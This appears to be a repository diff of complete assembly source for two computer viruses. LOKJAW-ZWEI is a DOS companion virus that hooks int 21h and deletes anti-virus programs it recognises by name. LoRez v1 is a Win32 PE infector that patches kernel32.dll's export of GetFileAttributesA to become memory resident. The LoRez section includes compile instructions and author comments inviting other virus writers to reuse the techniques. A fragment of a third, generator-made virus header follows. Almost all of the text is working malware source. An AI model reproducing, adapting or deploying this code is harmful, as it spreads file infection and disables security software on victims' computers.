;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
;files in plain sight. Generally, spawning viruses make themselves
;hidden-read-only-system files. This is an easy hack and the code is supplied
;in earlier issues of the newsletter. The modification is left to
;the reader as an academic exercise.
.radix 16
cseg segment
model small
assume cs:cseg, ds:cseg, es:cseg
org 100h
oi21 equ endit
filelength equ endit - begin
nameptr equ endit+4
DTA equ endit+8
begin: jmp virus_install
note:
db '[l™‡kõ„W-zW].á.šrã$ņd‰M$'
db 'ÅH$.pâ™Gâ†m.Œ$.….{pâ™Å”-Å].ûƒâ‹†¤Å,$“âÅ.”Ÿ.'
db '€â˜ž.¥‰w$Àä×îâ' ; I.D. note: will probably be
; documented in VSUM
; install
virus_install: mov ax,cs ; reduce memory size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],5a ; check if last memory
jne cancel ; block
mov ax,ds:[0003]
sub ax,100 ; decrease memory
mov ds:0003,ax
Zopy_virus:
mov bx,ax ; copy to claimed block
mov ax,es ; PSP
add ax,bx ; virus start in memory
mov es,ax
mov cx,offset endit - begin ; cx = length of virus
mov ax,ds ; restore ds
inc ax
mov ds,ax
lea si,ds:[begin] ; point to start of virus
lea di,es:0100 ; point to destination
rep movsb ; copy virus in memory
Grab_21:
mov ds,cx ; hook interrupt 21h
mov si,0084h ;
mov di,offset oi21
mov dx,offset check_exec
lodsw
cmp ax,dx ;
je cancel ; exit, if already installed
stosw
movsw
push es
pop ds
mov ax,2521h ; revector int 21h to virus
int 21h
cancel: ret
check_exec: ; look over loaded files
pushf ; for executables
push es ; push everything onto the
push ds ; stack
push ax
push bx
push dx
cmp ax,04B00h ; is a file being
; executed ?
jne abort ; no, exit
;if yes, try the_stinger
do_infect: call infect ; then try to infect
abort: ; restore everything
pop dx
pop bx
pop ax
pop ds
pop es
popf
bye_bye:
; exit
jmp dword ptr cs:[oi21]
new_24h:
mov al,3 ; critical error handler
iret
infect:
mov cs:[name_seg],ds ; this routine
mov cs:[name_off],dx ; essentially grabs
; the name of the file
cld ; <--
mov di,dx ; being loaded
push ds ; and copies it into a
pop es ; buffer where the virus
mov al,'.' ; can compare it to its
repne scasb ; "anti-virus" list, from
; the_stinger routine
call the_stinger ; now, call Lokjaw's anti-virus
; stinger
; no anti-virus, resume infection
cld ; clear direction flags
mov word ptr cs:[nameptr],dx ; save pointer to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ; get old DTA
int 21h
push es
push bx
push cs ; set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21h
call searchpoint ; find filename for virus
push di
mov si,offset COM_txt ; is extension 'COM' ?
mov cx,3
rep cmpsb
pop di
jz do_com ; if so, go to out .COM routine
mov si,offset EXE_txt ; is extension .EXE ?
nop
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt ; load .COM extent mask
nop
call change_ext ; change extension on filename.EXE
mov ax,3300h ; to .COM
nop
int 21h
push dx
cwd
inc ax ; clear flags
push ax
int 21h
Grab24h:
mov ax,3524h ; get critical error handler vector
int 21h
push bx
push es
push cs ; set interrupt 24h to new handler
pop ds
mov dx,offset new_24h
mov ah,25h
push ax
int 21h
lds dx,dword ptr [nameptr] ; create the virus (with name)
xor cx,cx ; of EXE target
mov ah,05Bh ;
int 21
jc return1
xchg bx,ax ; save handle
push cs
pop ds
mov cx,filelength ; cx = virus length
mov dx,offset begin
mov ah,40h ; write the virus to the created
int 21h ; file
mov ah,3Eh ; close the file
int 21h
return1: pop ax ; restore interrupt 24h
pop ds
pop dx
int 21h
pop ax
pop dx ; restore Crtl-break flags
int 21h
mov si,offset EXE_txt ; load .EXE mask
call change_ext ; and change the extension on
; the filename back to original
return: mov ah,1Ah ; host
pop dx ; restore old DTA
pop ds
int 21H
ret ;
do_com: call findfirst ; is the .COMfile executed the virus?
cmp word ptr cs:[DTA+1Ah],endit - begin
jne return ; no, so exit
mov si,offset EXE_txt ; does the .EXE variant exist ?
call change_ext
call findfirst
jnc return ;
mov si,offset COM_txt ; load .COM extension
call change_ext ; change the filename and
jmp short return ; jump to exit
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21h
ret
the_stinger: ; the_stinger compares the loaded filename with these defaults
cmp word ptr es:[di-3],'MI' ;Integrity Master
je jumptoass ; Stiller Research
cmp word ptr es:[di-3],'XR' ; Virx = VIREX
je jumptoass ; if there's a match
; go to assassinate file
cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP
jne next1 ; F-Prot
cmp word ptr es:[di-5],'TS'
je jumptoass
next1: cmp word ptr es:[di-3],'VA' ; AV = CPAV
je jumptoass ; Central Point
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
jne next2
cmp word ptr es:[di-5],'RP'
je jumptoass
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
jne next3
cmp word ptr es:[di-5],'CS'
je jumptoass
cmp word ptr es:[di-3],'NA' ; *lean = CLEAN.
jne next3 ; why not, eh?
cmp word ptr es:[di-5],'EL'
je jumptoass
next3: ret
jumptoass: ; assassinate anti-virus program
mov ds,cs:[name_seg] ; points to
mov dx,cs:[name_off] ; filename to delete
mov ax, 4301h ; clear attributes
mov cx, 00h
int 21h
jc chomp ; exit on error to visual
mov ah, 41h ; delete anti-virus file
int 21h ; exit on error to visual
jc chomp
chomp:
push cs ; chomper visual
pop ds
mov ah, 03h
int 10h
mov [c1], bh ; save cursor
mov [c2], dh
mov [c3], dl
mov [c4], ch
mov [c5], cl
mov ah, 1
mov cl, 0
mov ch, 40h
int 10h
mov cl, 0
mov dl, 4Fh
mov ah, 6
mov al, 0
mov bh, 0Fh
mov ch, 0
mov cl, 0
mov dh, 0
mov dl, 4Fh
int 10h
mov ah, 2
mov dh, 0
mov dl, 1Fh
mov bh, 0
int 10h
mov dx,offset eyes ; print the eyes
mov ah, 9
mov bl, 0Fh
int 21h
mov ah, 2
mov dh, 1
mov dl, 0
int 10h
mov ah, 9
mov al, 0DCh
mov bl, 0Fh
mov cx, 50h
int 10h
mov ah, 2
mov dh, 18h
mov dl, 0
int 10h
mov ah, 9
mov al, 0DFh
mov bl, 0Fh
mov cx, 50h
int 10h
mov dl, 0
chomp_1:
mov ah, 2
mov dh, 2
int 10h
mov ah, 9
mov al, 55h
mov bl, 0Fh
mov cx, 1
int 10h
mov ah, 2
mov dh, 17h
inc dl
int 10h
mov ah, 9
mov al, 0EFh
mov bl, 0Fh
int 10h
inc dl
cmp dl, 50h
jl chomp_1
mov [data_1], 0
chomp_3:
mov cx, 7FFFh ; delays
locloop_4:
loop locloop_4
inc [data_1]
cmp [data_1], 0Ah
jl chomp_3
mov [data_1], 0
mov cl, 0
mov dl, 4Fh
chomp_5:
mov ah, 6
mov al, 1
mov bh, [data_2]
mov ch, 0Dh
mov dh, 18h
int 10h
mov ah, 7
mov al, 1
mov bh, [data_2]
mov ch, 0
mov dh, 0Ch
int 10h
mov cx, 3FFFh ; delays
locloop_6:
loop locloop_6
inc [data_1]
cmp [data_1], 0Bh
jl chomp_5
mov [data_1], 0
chomp_7:
mov cx, 7FFFh ; delays
locloop_8:
loop locloop_8
inc [data_1]
cmp [data_1], 0Ah
jl chomp_7
mov ah, 6
mov al, 0
mov bh, [data_2]
mov ch, 0
mov cl, 0
mov dh, 18h
mov dl, 4Fh
int 10h
mov cl, 7
mov ch, 6
int 10h
mov ah, 2
mov bh, [c1]
mov dh, [c2]
mov dl, [c3]
int 10h
mov al, bh
mov ah, 5
int 10h
mov ah, 1
mov ch, [c4]
mov cl, [c5]
int 10h
mov ax, 0003h
int 10h ; sort of a cls
mov ax, 00ffh
ret
EXE_txt db 'EXE',0 ; extension masks
COM_txt db 'COM',0
eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
data_1 db 0
data_2 db 0
name_seg dw ?
name_off dw ?
c1 db 0
c2 db 0
c3 db 0
c4 db 0
c5 db 0
note2: db 'Lokjaw-Zwei'
endit:
cseg ends
end begin
+808
View File
@@ -0,0 +1,808 @@
;** NOTE: original release assumed that this virus worked on WinNT, but I
;** never tested it. I later found out that it does not go memory resident
;** under WinNT, although it causes no system faults, etc.
;
; LoRez v1 - By Virogen [NoP]
;
; This is my final research on Win32 resident kernel infection. LoRez is
; a memory-resident Win32 PE EXE Infector. It successfully operates on
; any kernel version of any Win32 platform (Win95,WinNT,Win98). The virus
; goes memory resident by infecting kernel32.dll. It changes the export
; RVA of GetFileAttributesA to that of the virus code. The next time the
; system boots, the virus goes memory resident and infects any PE EXE
; win32 calls GetFileAttributesA on. This includes any EXE executed as well
; as many those accessed in many other file manipulations. In order to
; get around the shared lock on kernel32.dll, LoRez copies the kernel
; to the windows directory and infects it there. This new copy of the
; kernel will be found before the original one in the system directory
; when the system is booted.
;
; In order to remove the use of static APIs addresses, LoRez searches
; the kernel32 export table in memory for the APIs which it requires. It
; does this by first determining the operating system. It finds this by
; checking a value on the stack and comparing it to the Win95/98 or WinNT
; kernel bases, which are static regardless of kernel version. If the
; operating system cannot be determined, then LoRez passes control back
; to the host without ever accessing any memory which might cause a fault.
; Once the kernel base is determined, LoRez finds the export table and
; then extracts the addresses of the APIs it needs.
;
; Virus Name: LoRez v1
; Virus Author: Virogen [NoP]
; Release Date: 03-05-98
; Operating Systems: Win95/WinNT/Win98
; Hosts : PE EXE files
; Encryption: Removed, till I get a new poly engine coded
; File Date/Time: Unchanged
; File Attributes: Unchanged ; the virus resets and then restores them
; File Size: Can grow by approx 1.6k at most. Sometimes there will be NO
; file size increase due to the alignment of the EXE.
;
;
; Past/Present/Future:
; - My first Win95 virus was Yurn released last week. This was my first
; attempt at windows resident infection and my first dive into the
; windows operating system. Yurn infected the kernel by changing the
; entry code of GetFileAttributesA to a call to the virus code. Yurn
; was limited because it depended on static APIs and kernel versions
; hardcoded into it. I regret releasing it in regards to the
; superority of its spawn LoRez which was released only a week
; later. However, the Yurn release helped me to acquire many new
; insights from my virus colleagues. Release date: 02-25-98.
;
; - LoRez is my attempt at full Win32 infection without the use of
; static APIs. LoRez is far superior to Yurn in many respects.
; It has been a great success and I think will open up a new era of
; Win32 infection. The techniques LoRez uses opens the Win32 platform
; to many new possibilities. All that is left now is to add more
; advanced features such as polymorphism and stealth. I sincerely hope
; that virus authors will find this code useful in creating their own
; kernel infectors. Release date: 03-05-98
;
; - The future: I will release a 32-bit polymorphic engine next,
; along with a new and better virus using the techniques I've
; researched here. This is ofcourse, provided I can finish it
; before Mar 16 (I'll be gone from the computer world for 3
; months). If not, then I look forward to seeing the new virus
; code my colleagues have written in my absence.
;
; How to contact me : try effnet #virus
;
; Greetz -
; -l, Memory Lapse, Soul Manager, Murkry, Treaz0n, Cicatrix, Darkman,
; VirusBuster, and others.
;
;
; HOW TO COMPILE LOREZ:
; I use TASM32 v5. Included is a makefile for LOREZ. After you compile
; the virus, just take out your handy hex editor and change the flags
; of the code object to 0E0000040h. Note that this is stored in intel
; reverse dd at offset 21Ch in LOREZ.EXE.
;
;
;
;
;
.386
locals
jumps
.model flat,STDCALL
L equ
extrn ExitProcess : PROC ; this is so the import table
; won't be empty. Is not used
; in the virus. You'll need
; IMPORT32.LIB for this one.
org 1000h
.data ; our lonely data object
progname db 'LoRez Virus host (c)Virogen',0
.code ; .code - change flags after compile
; to r/w/x
;-----------------------------------------------------------------------------
;
start: ; the would-be host
push 0
call [ExitProcessAPI] ; exit process
;-----------------------------------------------------------------------------
;
; LoRez virus starts here
;
MAX_HDR equ 0250h ; we shouldn't need more than this
ID_OFF equ 0ch ; offset in header for our marker
VIRUS_SIZE equ (offset vend-offset vstart) ; total size of our virus here
VIRTUAL_SIZE equ (offset buffer_end-offset vstart) ; our virtual size
MEM_ID equ 12345678h ; our communcation needs
;
;
vstart:
call geteip ; find relative offset
geteip:
mov ebp,[esp] ; grab it off stack
mov eax,ebp ; used below
sub ebp,offset geteip ; fix it up
add esp,4 ; fix da stack
db 2dh ; sub eax
host_addr dd (offset geteip-offset start)
push eax ; subtract entry point differ
; to get orginal entry VA
mov edx,[esp+4] ; determine OS
and edx,0fff00000h
mov eax,0BFF70000h ; WIn95 kernel base 0BFF70000
cmp edx,0bff00000h ; Win95?
jz good_os
mov eax,edx ; our NT kernel at 77F00000
cmp edx,077f00000h ; WinNT?
jnz goto_host ; abort if neither
good_os:
;
; a brief explanation of the organization of the export table would be
; useful here. Ok, basically there are three tables within the export
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
; Table (16bit). Ok, the ordinal number of an API is the entry number of
; the API in the RVA array. So, multiply the ordinal number by four and
; you've got an index into the API RVA Table. Probably you don't already
; have the ordinal number though, so you'll have to find it. To do this,
; you use the Name Pointer Table. This is an array of pointers to the
; asciiz name of each API. When you find the pointer of the API you're
; looking for by string compares, you take the index number of it and
; multiply it by 2 (because the ordinal table is 16bit). Index the result
; in the ordinal table, and you're all set.
;
;
mov [ebp+imagebase],eax ; save kernel base
mov esi,eax
add esi,[esi+3ch] ; relative ptr to PE header
cmp word ptr [esi],'EP' ; make sure we're on right track
jnz goto_host ; if not.. abort
mov esi,[esi+120] ; get export table RVA
add esi,eax ; relative to image base
mov edi,[esi+36] ; get ordinal table RVA
add edi,eax ; relative to image base
mov [ebp+ordinaltbl],edi ; save it
mov edi,[esi+32] ; get name ptr RVA
add edi,eax ; is relative to image base
mov [ebp+nameptrtbl],edi ; save it
mov ecx,[esi+24] ; get number of name ptrs
mov esi,[esi+28] ; get address table RVA
add esi,eax ; is relative to image base
mov [ebp+adrtbl],esi ; save it
xor edx,edx ; edx is our ordinal counter
; edi=name ptr table
; ecx=number of name ptrs
lea esi,[ebp+APIs] ; -> API Name ptrs
mov [ebp+ourAPIptr],esi ; save it
lea eax,[ebp+API_Struct] ; our API address will go here
mov [ebp+curAPIptr],eax ; save it
chk_next_API_name:
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
mov ebx,[esi] ; load ptr to our API name
add ebx,ebp ; add relative address
mov esi,[edi] ; get API name RVA
add esi,[ebp+imagebase] ; relative to image base
compare_API_name:
lodsb
cmp al,byte ptr [ebx] ; compare a byte of names
jnz not_our_API ; it's not our API
cmp al,0 ; end of string?
jz is_our_API ; it's our API
inc ebx
jmp compare_API_name
not_our_API:
inc edx ; increment API counter
cmp edx,ecx ; last entry of name ptr table?
jz goto_host ; uhoh.. we didn't find one
; of our APIs.. abort it all
add edi,4 ; increment export name ptr idx
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
jmp chk_next_API_name
is_our_API:
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
push ecx
push edx
xchg edx,eax ; edx=API number
add eax,eax ; *2 cuz ordinals are words
add edi,eax ; add to ordinal table VA
mov ax,[edi] ; get ordinal (word)
xor edx,edx
mov ecx,4
mul ecx ; *4 cuz address tbl is dd's
mov edi,[ebp+adrtbl] ; load address table VA
add edi,eax ; set idx to API
mov eax,edi
sub eax,[ebp+imagebase] ; get the VA of the entry
mov [ebp+originalRVAptr],eax ; save it for kernel infection
; notice that our last API
; in the array is the one we
; hook
mov eax,[edi] ; get API RVA
mov [ebp+originalRVA],eax ; save it for kernel infection
add eax,[ebp+imagebase] ; is relative to image base
mov edi,[ebp+curAPIptr] ; idx to storage stucture
mov [edi],eax ; save VA of API
add edi,4 ; increment index
mov [ebp+curAPIptr],edi ; save
pop edx
pop ecx
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
add esi,4 ; increment idx API name ptr structure
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
cmp dword ptr [esi],0 ; end of our API structure?
jz found_all ; if so then we got 'em all
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
xor edx,edx ; reset API counter
jmp chk_next_API_name
;
; now we're done finding all of our API VAs
;
found_all:
mov byte ptr [ebp+offset infkern],1 ; set kernel infection flag
lea eax,[ebp+fname]
push eax ; save for below
push 0FFh ; max buffer size
push eax ; ptr
call [ebp+GetSysDirAPI] ; get system directory
pop edi
add edi,eax ; find end of directory name
push edi ; where the filename needz to go
lea eax,[ebp+copyfname]
push eax ; save for below
push 0ffh
push eax
call [ebp+GetWinDirAPI] ; get windoze directory
pop edi
add edi,eax
lea esi,[ebp+kernfile]
call copy_str ; append \kernel32.dll to windoze dir
pop edi ; restore windoze sys dir
lea esi,[ebp+kernfile]
call copy_str ; append kernel32.dll to windoze sys dir
push 0
lea eax,[ebp+copyfname] ; from sys dir
push eax
lea eax,[ebp+fname] ; to win dir
push eax
call [ebp+CopyFileAPI] ; copy kernel to windows dir
cmp eax,0 ; if error then we're prob.
jz goto_host ; already in memory
lea eax,[ebp+copyfname] ; infecting windir\kernel32.dll
mov [ebp+fnameptr],eax ; set file ptr
call infect_file ; infect the kernel
goto_host:
pop eax ; restore entry VA
jmp eax ; jmp to host entry VA
;-----------------------------------------------
; infect file - call with fnameptr set
;
infect_file:
mov eax,[ebp+fnameptr]
push eax
mov ecx,MEM_ID ; let us know its us
call [ebp+GetAttribAPI] ; get file attributes
mov [ebp+oldattrib],eax
cmp eax,-1 ; if error then maybe shared
jnz not_shared
ret ; can't infect it
not_shared:
push 20h ; +A
mov eax,[ebp+fnameptr]
push eax
call [ebp+SetAttribAPI] ; clear 'da attribs
call open_default_file
cmp eax,-1
jnz open_ok
ret
open_ok:
lea eax,[ebp+creation] ; creation time
push eax
lea eax,[ebp+lastaccess] ; last accessed
push eax
lea eax,[ebp+lastwrite] ; last writen to
push eax
push [ebp+handle]
call [ebp+GetFileTimeAPI] ; grab the file time
mov ecx,50h ; read MZ EXE header
lea edx,[ebp+peheader] ; (if that's what it is)
call read_file
cmp word ptr [ebp+peheader],'ZM' ; is EXE?
jnz abort_infect
mov eax,dword ptr [ebp+peheader+3ch] ; where PE hdr pointer is
mov [ebp+ptrpeheader],eax ; save it
call setfp
call setfp_pehdr
mov ecx,MAX_HDR ; now read the pe header
lea edx,[ebp+peheader]
call read_file
cmp [ebp+bytesread],MAX_HDR ; could we read it all?
jnz abort_infect ; something funky if no
cmp word ptr [ebp+peheader],'EP' ; PE?
jnz abort_infect
cmp dword ptr [ebp+peheader+ID_OFF],0 ; any value here?
jnz abort_infect ; if yes, infected
cmp byte ptr [ebp+infkern],1 ; infecting kernel?
jz skip_base_chk ; if so then its ok to be DLL
cmp dword ptr [ebp+imagebase],00400000h ; executables should have this
jnz abort_infect ; base, DLLs probably not.
skip_base_chk:
call [ebp+GetTickCountAPI] ; get tick count
mov dword ptr [ebp+peheader+ID_OFF],eax ; save as infect flag
xor esi,esi
mov si, word ptr [ebp+NtHeaderSize] ; get header size
add esi,18h ; object table is here
mov dword ptr [ebp+ObjTbloff],esi
lea eax,[ebp+peheader] ; is relative to PE hdr RVA
add esi,eax ; esi->object table
mov [ebp+objtblVA],esi ; save the object table VA
xor eax,eax
mov ax,[ebp+numObj] ; get number of objects
dec eax ; we want last object
mov ecx,40 ; each object 40 bytes
xor edx,edx
mul ecx ; numObj-1*40=last object
add esi,eax ; esi->last obj
lea eax,[ebp+peheader+MAX_HDR-40]
cmp esi,eax ; if it's out of our range
jg abort_infect ; then about this here shit
mov eax,[esi+20] ; get last object physical off
mov [ebp+lastobjimageoff],eax ; save it
mov ecx,dword ptr [ebp+filealign] ; get file alignment
mov eax,[esi+16] ; get physical size of object
mov [ebp+originalpsize],eax ; save it 4 later
push eax
add eax,vend-vstart ; size of our code
call align_fix ; set on file alignment
mov dword ptr [esi+16],eax ; save new physical size
mov ecx,dword ptr [ebp+objalign] ; get object alignment
push ecx ; save for below
mov eax,[esi+8] ; get object virtual size
add eax,VIRTUAL_SIZE ; add our virtual size
call align_fix ; set on obj alignment
mov dword ptr [esi+8],eax ; save new virtual size
pop ecx
mov eax,VIRTUAL_SIZE ; how big we is
add eax,dword ptr [ebp+imagesize] ; add to old image size
call align_fix ; set on obj alignment
mov dword ptr [ebp+imagesize],eax ; save new imagesize
mov [esi+36],0E0000040h ; set object flags r/x/x
pop eax ; restore orginal physical size
add eax,[esi+12] ; add last object's RVA
; eax now RVA of virus code
mov [ebp+virusRVA],eax ; save it
cmp byte ptr [ebp+offset infkern],0 ; do our kernel32?
jz new_entry ; nope.. regular PE
;--- our kernel infection starts here ---
;
; This is really fairly simple. First thing we need to do is find the
; image offset of the export table entry for the API we're hooking. We
; do this by locating the object that contains the export table. Then,
; we subtract the image offset of the object from the virtual offset
; of the object. The difference is then subtracted from the previously
; saved RVA of the table entry. =image offset
;
; The different Win32 kernels have different objects which their
; export table is located in. The Win95 kernels have it located in
; .edata, while win98 puts it in .text, winNT decides to throw the
; shit in .rdata. How do we determine which kernel is which, and which
; object to calculate the image offset by? Simple, Win95 is the only
; kernel that contains .edata, WinNT is the only kernel which contains
; .rdata, and Win98 is the only kernel which doesn't contain either.
;
; Once we extrapolate the image offset of the export table entry for the
; RVA of the API we're hooking, we just save the old RVA, and put our
; RVA in its place.
;
;
mov esi,[ebp+objtblVA] ; load object table VA
xor ecx,ecx
mov cx,[ebp+numObj] ; get number of objects
dec ecx
xor edx,edx ; we'll store our virtual-
; physical difference here
calc_fo_loop:
cmp dword ptr [esi],'ade.' ; is it .edata? for win95
jz end_calc_fo_loop ; if so we can reference it
cmp dword ptr [esi],'xet.' ; is it .text? for win98
jnz not_text
mov [ebp+objtext],esi ; save table entry offset
not_text:
cmp dword ptr [esi],'adr.' ; is it .rdata? for winNT
jz end_calc_fo_loop ; if rdata exists, then
; our export shit is there
add esi,40 ; to next object we go
dec ecx ; decrement # of objects
jnz calc_fo_loop ; if not been thru all loop
mov esi,[ebp+objtext] ; if .edata or .rdata, then
end_calc_fo_loop: ; it must be .text
mov edx,[esi+12] ; get the object virtual off
sub edx,[esi+20] ; subtract physical offset
mov eax,[ebp+originalRVAptr] ; get table entry rva
sub eax,edx ; subract difference
mov [ebp+FileOff],eax ; save table entry image off
call setfp ; set file pointer to it
mov ecx,4 ; read RVA
lea edx,[ebp+chkRVA]
call read_file ; and check it to make sure
; we've got it right
mov eax,[ebp+chkRVA]
cmp eax,[ebp+originalRVA] ; is it the right RVA?
jnz abort_infect ; if not abort infection
mov eax,[ebp+FileOff] ; get image offset
call setfp ; set file ptr to table entry
mov eax,[ebp+virusRVA] ; get virus RVA
add eax,(offset hook-offset vstart) ; find our API hook RVA
lea esi,[ebp+hookRVA] ; to be written
mov [esi],eax ; save hook RVA
mov ecx,4 ; dd
call write_code ; write the new hook RVA
mov eax,[ebp+originalRVA] ; get orginal API RVA
add eax,[ebp+imagebase] ; relative to image base
mov [ebp+jmpback],eax ; save it
jmp calc_reloc ; skip entry point change..
;-------------------------------------------------------
; our PE EXE infection
;
new_entry:
mov eax,[ebp+virusRVA] ; eax=virus RVA
mov ebx,dword ptr [ebp+entrypointRVA] ; save old entry point
mov dword ptr [ebp+entrypointRVA],eax ; put our RVA as entry
calc_reloc:
add eax,(offset geteip-offset vstart) ; fix for our reloc call
sub eax,ebx ; difference of entry pts
mov dword ptr [ebp+offset host_addr],eax ; virusRVA-entryRVA=diff
; virusVA-diff=entryVA
call setfp_pehdr ; back to PE header
lea esi,[ebp+peheader] ; write the new PE header
mov ecx,MAX_HDR
call write_code ; to the host
mov eax,[ebp+originalpsize] ; restore original physical size
add eax,[ebp+lastobjimageoff] ; add object physical offset
call setfp ; set ptr to end of object
lea esi,[ebp+vstart]
mov ecx,VIRUS_SIZE
call write_code ; write the virus code to the host
abort_infect:
lea eax,[ebp+creation] ; creation time
push eax
lea eax,[ebp+lastaccess] ; last accessed
push eax
lea eax,[ebp+lastwrite] ; last writen to
push eax
push [ebp+handle]
call [ebp+SetFileTimeAPI] ; restore orginal file time
call close_file ; we're done
mov eax,[ebp+oldattrib] ; get original attribs
push eax
mov eax,[ebp+fnameptr]
push eax
call [ebp+SetAttribAPI] ; restore the original attributes
ret
;---------------------------------------------------------------
; close handle at [handle]
;
close_file:
push dword ptr [ebp+offset handle]
call [ebp+CloseFileAPI]
ret
;---------------------------------------------------------------
; opens file with ptr to filename at [fnameptr]
;
open_default_file:
mov eax,[ebp+fnameptr]
;---------------------------------------------------------------
; opens file, pass eax->filename
;
open_file:
push 0
push 20h ; r+w
push 3 ; 3=open existing file
push 0
push 0
push 0C0000000h ; open for r+w
push eax
call [ebp+CreateFileAPI]
mov [ebp+handle],eax ; save handle
ret
;---------------------------------------------------------------
; read handle
; pass ecx=bytes to read, edx=offset for bytes read
;
read_file:
push 0
lea eax,[ebp+bytesread]
push eax
push ecx
push edx
push [ebp+handle]
call [ebp+ReadFileAPI]
ret
;--------------------------------------------------------------
; sets eax on alignment of ecx
;
align_fix:
xor edx,edx
div ecx ; /alignment
inc eax ; next alignment
mul ecx ; *alignment
ret
;--------------------------------------------------------------
; set file pointer to PE header
setfp_pehdr:
mov eax,[ebp+ptrpeheader]
;--------------------------------------------------------------
; set file ptr of [handle]
; pass eax=offset from beginning
;
setfp:
push 0
push 0
push eax
push [ebp+handle]
call [ebp+SetFilePtrAPI]
ret
;-------------------------------------------------------------
; write to [handle]
; pass ecx=bytes to write, esi->source
;
write_code:
push 0
lea eax,[ebp+bytesread]
push eax
push ecx
push esi
push [ebp+handle]
call [ebp+WriteFileAPI]
ret
;-------------------------------------------------------------
; copy string
; pass edi->destination esi->source
;
copy_str:
mov ecx,0FFh ; no bigger than 256
copystr:
lodsb
stosb
cmp al,0
jz copystrdone
loop copystr
copystrdone:
ret
;------------------------------ hooked ------------------------
; this is our API hook for GetAttrib
;
hook:
pushfd
push eax ; save regs
push ebx
push ecx
push edx
push edi
push esi
push ebp
call reloc ; find relative index
reloc:
pop ebp ; eip
sub ebp, offset reloc ; get relative address
lea eax,[ebp+jmpback] ; get jump back ptr
mov [ebp+jmpbackptr],eax ; save jump back ptr
cmp ecx,MEM_ID ; is it us?
jz abort_mem ; if so then abort
mov byte ptr [ebp+infkern],0 ; we're infecting normal
mov eax,[esp+24h] ; ptr to filename is here
mov [ebp+fnameptr],eax ; save ptr to filename
call infect_file ; replicate ourselves
abort_mem:
pop ebp ; restore regs
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
popfd
db 0FFh,25h ; jmp [ ]
jmpbackptr dd offset jmpback
jmpback dd 0 ; original API VA
db 'þ [LoRez] v1 by Virogen [NoP] þ' ; it's i said the fly
kernfile db '\KERNEL32.dll',0 ; our kernel filename
kernfile_e:
APIs: ; structure of ptrs to our API names
dd offset GetTicks
dd offset GetWinDir
dd offset SetAttrib
dd offset CreateFile
dd offset SetFilePtr
dd offset ReadFile
dd offset WriteFile
dd offset CloseFile
dd offset GetSysDir
dd offset CopyFile
dd offset GetFileTime
dd offset SetFileTime
dd offset ExitProc
dd offset GetAttrib ; the last entry is our hooked API
dd 0
; our API names
GetTicks db 'GetTickCount',0
GetWinDir db 'GetWindowsDirectoryA',0
SetAttrib db 'SetFileAttributesA',0
CreateFile db 'CreateFileA',0
SetFilePtr db 'SetFilePointer',0
ReadFile db 'ReadFile',0
WriteFile db 'WriteFile',0
CloseFile db 'CloseHandle',0
GetSysDir db 'GetSystemDirectoryA',0
CopyFile db 'CopyFileA',0
GetFileTime db 'GetFileTime',0
SetFileTime db 'SetFileTime',0
ExitProc db 'ExitProcess',0 ; only used in original host
GetAttrib db 'GetFileAttributesA',0
API_Struct: ; structure for API VAs
GetTickCountAPI dd 0
GetWinDirAPI dd 0
SetAttribAPI dd 0
CreateFileAPI dd 0
SetFilePtrAPI dd 0
ReadFileAPI dd 0
WriteFileAPI dd 0
CloseFileAPI dd 0
GetSysDirAPI dd 0
CopyFileAPI dd 0
GetFileTimeAPI dd 0
SetFileTimeAPI dd 0
ExitProcessAPI dd 0
GetAttribAPI dd 0
FileOff dd 0
APIStructEnd:
; data below is not written to disk, but is allocated by object
vend:
handle dd 0 ; file handle
infkern db 0 ; kernel infection flag
ptrpeheader dd 0 ; offset of PE header
ObjTbloff dd 0 ; offset of object table
objtblVA dd 0 ; VA of object table
bytesread dd 0 ; return from fread/fwrite
nameptrtbl dd 0
adrtbl dd 0
ourAPIptr dd 0
curAPIptr dd 0
ordinaltbl dd 0
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
originalRVA dd 0 ; orginal RVA of our hooked API
chkRVA dd 0
originalpsize dd 0
hookRVA dd 0
virusRVA dd 0
hdrread dd 0
lastobjimageoff dd 0
objtext dd 0
creation dd 0,0 ; our file time structures
lastaccess dd 0,0
lastwrite dd 0,0
oldattrib dd 0 ; stored file attribs
fnameptr dd 0 ; ptr to file name we're infecting
fname db 64 dup (0) ; storage for source kernel32.dll
copyfname db 64 dup (0) ; storage for dest. kernel32.dll
peheader: ; PE header format
signature dd 0
cputype dw 0
numObj dw 0
dd 0,0,0
NtHeaderSize dw 0
Flags dw 0
dd 0,0,0,0
entrypointRVA dd 0
dd 0,0
imagebase dd 0
objalign dd 0
filealign dd 0
dd 0,0,0,0
imagesize dd 0
headersize dd 0
db MAX_HDR*2 dup (0)
buffer_end:
ends
end vstart
@@ -0,0 +1,430 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
